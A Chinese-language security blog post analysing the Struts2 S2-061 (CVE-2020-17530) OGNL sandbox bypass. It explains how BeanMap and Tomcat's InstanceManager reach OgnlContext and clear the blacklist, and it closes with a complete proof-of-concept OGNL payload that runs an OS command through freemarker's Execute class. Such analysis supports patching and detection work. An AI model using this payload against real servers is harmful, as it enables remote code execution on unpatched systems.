Hu3sky's blog

浅析 S2-061

Word count: 1,147 / Reading time: 5 min
2020/12/11 Share

前言

针对 S2-061 的修复,在黑名单上做了文章,S2-061 是针对 S2-059 的沙盒绕过做了修复,漏洞利用点还是和 S2-059 一样,不知道 S2-059 是怎么触发的移步:CVE-2019-0230: S2-059 远程代码执行漏洞分析, Struts-2.5.26 的几次黑名单的更新如下:

483065eebf7f385c9e15846aed0cd05d

e24a4b14e9ba88d8417d59b5a5eac89f

在分析本次沙箱绕过之前,先了解一下目前为止沙箱里的一些机制,针对于OGNL表达式来说,存在一些限制:

  • 不能在OGNL表达式里直接对静态方法进行调用
  • 不能在OGNL表达式里调用public方法以外的方法
  • 不能在OGNL表达式使用#_memberAccess/#context获取相关对象的实例
  • 不能在OGNL表达式里直接调用黑名单里的类、方法
  • 有些即使是清空黑名单也无法执行的方法,比如Runtime.class,这个体现在OgnlRuntime#invokeMethod

但是在S2-057里,可以通过attr来间接获取context实例,但是之后将com.opensymphony.xwork2.ognl.加入了黑名单,也不能通过attr来获取context的实例了。

context结构如下:
4d20361207e9ec7daefb4fe5afd007a4

漏洞详情

没办法通过#context获取到OgnlContext,但我们可以考虑使用其他方法,比如在#appliaction目前是能够获取的,在他里面存在一个值org.apache.tomcat.InstanceManager

3495f731cf34755fd0296bc688108343

对应的valueDefaultInstanceManager的实例。而在DefaultInstanceManager下存在public方法newInstance,可以用来实例化类,但是只能实例化无参构造方法。

e54429bc7e33572d688b88e7597d211b

同时,在commons-collections3.2.2包下有一个类叫做BeanMap,在BeanMapsetBean方法中会调用reinitialise方法,这里的setBean方法里我们可以设置当前bean为某个类。

809d17eaa1a6c2296e8b39003ad020ae

reinitialise方法又会调用initialise方法,

3a1618a0a8cc40606dac5f42078360f9

获取OgnlContext

initialise我们可以调用当前beanget/set方法(具体体现在beanInfo.getPropertyDescriptors

d97e974be92de6d13c6be9dadacbe2ec

BeanMap中,readMethod对应着当前beangetter,而writeMethod对应setter

c5ecd05e0997efcbbaffbd145ad06adf

eda3dc62ee8aa9ce68d6426577ebc160

接着会调用put方法,将getter返回的结果保存在BeanMap里,BeanMap本质上还是一个Map,我们可以通过OGNL表达式来获取BeanMap里的值。

10294dbedf440e11cbc791172157f823

9dd9ddc0012c84d96995474bf310982e

所以,利用DefaultInstanceManager实例化BeanMap之后,就能利用BeanMap调用任意类的get/put方法了。

那么也就意味着我们能将bean设置为OgnlValueStack,从而就能调用OgnlValueStackgetContext方法,这样就能获取到OgnlContext的实例。

OgnlValueStack的实例可以通过#attr['struts.valueStack']进行获取。

所以,获取OgnlContextOGNL表达式为:

1
(#a=#application['org.apache.tomcat.InstanceManager']).(#beanMap=#a.newInstance('org.apache.commons.collections.BeanMap')).(#beanMap.setBean(#attr['struts.valueStack'])).(#ognlContext=#beanMap['context'])

获取MemberAccess

现在我们能够获取到OgnlContext了,同理我们再次通过BeanMap将当前bean设置为我们已经获取到的OgnlContext实例,利用BeanMap调用beangetter的特性,来调用OgnlContextgetMemberAccess方法获取到SecurityMemberAccess的实例。

e5c3bf9b5cb60e3e58344b9267188f24

675f43235af77ec9e80ecbb2a106f5a7

获取MemberAccessOGNL表达式为

1
(#beanMap.setBean(#ognlContext)).(#memberAccess=#beanMap['memberAccess'])

清空黑名单

虽然我们可以拿到SecurityMemberAccess的实例,但是不能直接使用ognl表达式#memberAccess.setExcludedClasses(#hashSet) 来清空黑名单,因为通过ognl表达式这样直接调用方法是会经过OGNL黑名单的,com.opensymphony.xwork2.ognl.是在黑名单里的,而SecurityMemberAccess是在这个package下的,所以,需要换一种思路。

a3c19a71976b8b4424035bc20d58133e

方法就是利用之前的BeanMapBeanMapput方法会调用当前beansetter,而不会通过ognl的方法执行机制,直接使用inovke执行方法,所以这里我们就能再次将当前bean设置为SecurityMemberAccess,再去通过BeanMapput方法触发setExcludedClasses方法。(既然能调用Set,那么FastjsonJNDI注入的利用在这里也是可行的。)
582e6e20bbc17117076da3fd3e6362c0

清空了黑名单之后我们依然不能使用Runtime来直接执行命令,因为OgnlRuntime#invokeMethod限制了方法的执行。

1
2
3
4
5
6
7
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}

所以利用的是之前黑名单里的一个类:freemarker.template.utility.Execute,该类的exec方法能够执行命令

9d8ddd9273c196950667efca3422d939

POC

1
%{(#a=#application['org.apache.tomcat.InstanceManager']).(#beanMap=#a.newInstance('org.apache.commons.collections.BeanMap')).(#beanMap.setBean(#attr['struts.valueStack'])).(#ognlContext=#beanMap['context']).(#beanMap.setBean(#ognlContext)).(#memberAccess=#beanMap['memberAccess']).(#hashSet=#a.newInstance('java.util.HashSet')).(#arrayList=#a.newInstance('java.util.ArrayList')).(#arrayList.add('ifconfig')).(#beanMap.setBean(#memberAccess)).(#beanMap.put("excludedPackageNames",#hashSet)).(#execute=#a.newInstance('freemarker.template.utility.Execute')).(#execute.exec(#arrayList))}

利用情况

246b4d4e434d9d7fcfa90d7cabff8b7c

参考

Struts2 S2-061漏洞分析(CVE-2020-17530)
CVE-2019-0230: S2-059 远程代码执行漏洞分析
浅析 OGNL 的攻防史

CATALOG
  1. 1. 前言
  2. 2. 漏洞详情
    1. 2.1. 获取OgnlContext
    2. 2.2. 获取MemberAccess
    3. 2.3. 清空黑名单
    4. 2.4. POC
    5. 2.5. 利用情况
    6. 2.6. 参考